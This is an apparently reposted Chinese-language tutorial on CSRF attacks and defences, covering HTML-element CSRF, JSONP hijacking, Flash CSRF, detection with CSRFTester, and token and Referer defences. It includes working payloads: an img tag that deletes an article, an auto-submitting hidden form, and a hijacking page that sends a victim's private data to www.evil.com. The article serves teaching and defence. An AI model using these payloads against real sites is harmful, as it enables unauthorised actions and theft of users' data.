vlambda博客
学习文章列表

【安全系列】CSRF攻击与防御

一、CSRF概述

攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作。对于CSRF而言,它的攻击有两个关键点,跨站点的请求与请求是伪造的。


二、CSRF攻击的危害

  • 篡改目标网站上的用户数据

  • 盗取用户隐私数据

  • 作为其他攻击向量的辅助攻击手法

  • 传播CSRF蠕虫


三、攻击原理及过程

我们先构建一个场景。
目标网站A:www.a.com
恶意网站B:www.b.com
两个域不一样,目标网站A上有一个删除文章的功能,通常是用户点击“删除链接”时才会删除指定的文章,这个链接是www.a.com/blog/del?id=1,id代表不同的文章。
【XSS实现】
这样删除文章实际上就是发送了一个get请求,那么如果目标网站A存在XSS漏洞,执行JS脚本无同源策略限制,就可以使用XSS的形式来完成文章的删除操作。
  • 或者动态创建一个标签对象(如img、script、iframe)等,将他么的src指向这个链接www.a.com/blog/del?id=1,发出get请求。

  • 然后欺骗用户访问存在XSS脚本漏洞的页面,则发生攻击。

    【CSRF实现】

  • 在恶意网站B上写一个CSRF页面(www.b.com/csrf.html)

  • 使用<img src=http://www.a.com/blog/del?id=1 />

  • 然后欺骗已经登陆了目标网站A的用户访问www.b.com/csrf.html页面,由于用户登陆访问过目标A网站不久,它的浏览器与A网站之间的session尚未过期,浏览器中的cookie包含了用户的认证信息。而在IE浏览器中,默认不允许目标A网站的本地cookie在跨域请求中携带,除非在HTTP的响应头设置P3P,这个响应头告诉浏览器允许网站跨域请求资源时带上目标A网站的用户本地cookie,而对于内存cookie是被默认允许的。


四、CSRF攻击分类

4.1 HTML CSRF攻击
同样是上面的场景,发起的CSRF请求都属于HTML元素发出的,这一类是最普通的CSRF攻击。
下面是常见的可以发起这样的请求的HTML元素。
<link href=""><img src=""><img lowsrc=""><img dynsrc=""><meta http-equiv="refresh" content="0; url="><iframe src=""><frame src=""><script src=""><bgsound src=""><emben src=""><video src=""><audio src=""><a href=""><table background="">//CSS样式中@import ""background: url("")
4.2 JSON HiJacking 攻击
为了了解JSON HiJacking攻击,我们先来看看一种跨域解决方案:JSONP。
JSONP(JSON with Padding)是一个非官方的协议,是Web前端的JavaScript跨域获取数据的一种方式。我们知道,JavaScript在读写数据时受到同源策略的限制,不可以读写其他域的数据,于是大家想出了这样一种办法:
【html代码
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title></head><body> <script type="text/javascript"> function jsonpCallback(result) { alert(result.a); alert(result.b); alert(result.c); for (var i in result) { alert(i + ":" + result[i]); } }</script> <script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script></body></html>
【php代码】
<?php //服务端返回JSON数据 $arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5); $result=json_encode($arr); //动态执行回调函数 $callback=$_GET[‘callback‘]; echo $callback."($result)";?>
可以看到,前端先是定义了jsonpCallback函数来处理后端返回的JSON数据,然后利用script标签的src属性跨域获取数据(前面说到带src属性的html标签都可以跨域),并且把刚才定义的回调函数的名称传递给了后端,于是后端构造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函数调用过程返回到前端执行,达到了跨域获取数据的目的。
当用户通过身份认证之后,前端会通过JSONP的方式从服务端获取该用户的隐私数据,然后在前端进行一些处理,如个性化显示等等。这个JSONP的调用接口如果没有做相应的防护,就容易受到JSON HiJacking的攻击。
【攻击代码】
<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title></head><body> <script type="text/javascript"> function hijack(result) { var data = ''; for (var i in result) { data += i + ': '+result[i]; } new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data); //把数据发送到攻击者服务器上 }</script> <script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script></body></html>

攻击者在页面中构造了自己的回调函数,把获取的数据都发送到了自己的服务器上。如果受害者在已经经过身份认证的情况下访问了攻击者构造的页面,其隐私将暴露无疑。

4.3 Flash CSRF攻击
在flash的世界同样遵循着同源策略,发起CSRF攻击是通过ActionScript脚本来完成的,正常来讲Flash CSRF攻击,通常是两个目的:
  • 跨域获取隐私数据

  • 跨域提交数据操作,做一些增、删、改之类的操作。

【跨域获取隐私数据】

如果目标网站的根目录存在crossdomain.xml文件,配置如下:

<?xml version="0.1" ?><cross-domain-policy><allow-access-from domain="*" /></cross-domain-policy>

配置中allow-access-from domain="*"表示允许任务域请求本域的资源,如果用户登陆了目标网站,被欺骗访问包含恶意Flash的网页时,隐私就有可能被盗走。

【跨域提交数据操作

通常情况下会使用HTML CSRF攻击的形式发起攻击:

<form action='http://t.xxx.com/article/updatetweet' method='post'><input type="hidden" name="status" value="html_csrf_here."/></form><script>document.forms[0].submit();</script>


五、CSRF漏洞检测

检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。
随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。
以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下: 使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。 如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

六、CSRF攻击防御

HTTP Referer   字段校验
比如上一个场景, 恶意攻击 被发起时, 请求的 Referer 会指向恶意网站 因此 要防御 CSRF攻击 ,可能对 Referer 字段校验, 如果不是本域或者指定域 过来的请求 ,不予通过 校验。
这种方法在大部分的场景是可行的。但也不是万无一失的。如果用户在浏览器设置发送请求是不提供Referer 时,而被误认为是恶意攻击,拒绝提供服务。
token 验证
在HTTP请求参数中添加一个随机的token值,服务端对token统一拦截校验,如果没有token值,或者token值不对,拒绝提供服务。
【自定义属性验证
这个方法也是进行token验证,不同的是这种方法并不是把token置于请求参数中,而是在HTTP请求头中自定义属性。通过 XMLHttpRequest 这个类, 可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。